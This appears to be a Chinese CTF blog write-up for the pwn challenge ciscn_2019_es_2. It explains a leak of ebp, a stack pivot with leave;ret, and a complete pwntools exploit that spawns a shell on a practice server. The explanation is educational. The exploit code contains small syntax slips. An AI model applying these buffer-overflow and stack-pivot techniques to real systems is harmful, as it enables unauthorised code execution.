ciscn_2019_es_2


ciscn_2019_es_2

检查保护机制,32位,开启NX

IDA打开,shift+F12查找字符串,发现sysytem函数,但没有/bin/sh,还是无法直接利用

找到system函数真实地址0x8048400

main函数,还是一样,里面的vlu()函数肯定是重点

读入0x30字节数据给s,s大小是0x28,只能溢出0x8字节,覆盖到ret,没法构造太长的rop,但是这边可以给s写入2次数据。

利用思路

我们可以通过第一次输入来泄露程序里的ebp地址,知道了ebp的地址就能够推算出参数s在栈上的地址,第二次直接往栈上写入system(‘/bin/sh’),之后利用leave;ret的栈劫持去到参数s的栈,让它去执行我们布置在栈上的system(‘/bin/sh’)来获取shell。

解题过程:

1.泄露ebp

printf函数在输出时遇到’\0’会停止,若将s填满,这样在末尾就无法加上’\0’,就可以泄露ebp了

payload='a'*0x27+'b'
r.sendline(payload)
r.recvuntil('b')
ebp=u32(r.recv(4))

2.找到s在栈上的位置

算出ebp-0x38是参数s在栈上的位置

3.布置栈上的值

payload='aaaa'+p32(sys)+p32(main)+p32(s+0x10)+"/bin/sh"

第一个’aaaa‘随便输入,如果一开始将system函数写第一个,那么我们在用leave;ret劫持栈的时候要抬高4字节
接着跟上system函数的地址
后面是执行完system函数后的返回地址,这边也可以随便写
之后是一个地址,这个地址指向的是我们写在栈上的’/bin/sh‘字符串

payload2=payload2.ljust(0x28,b'\x00'
payload2+=p32(s)+p32(leave_ret)

exp

from pwn import *

r=remote('node3.buuoj.cn',27757)

sys=0x8048400
leave_ret=0x08048562
main=0xdeadbeef

payload=b'a'*0x27+b'b'
r.send(payload)
r.recvuntil("b")
s=ebp=u32(r.recv(4))-0x38

payload2=b'aaaa'+p32(sys)+p32(main)+p32(s+0x10)+"/bin/sh"
payload2=payload2.ljust(0x28,b'\x00')
payload2+=p32(s)+p32(leave_ret)


r.send(payload2)
r.interactive()

cat flag


文章作者: Pr0b1em
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Pr0b1em !
  目录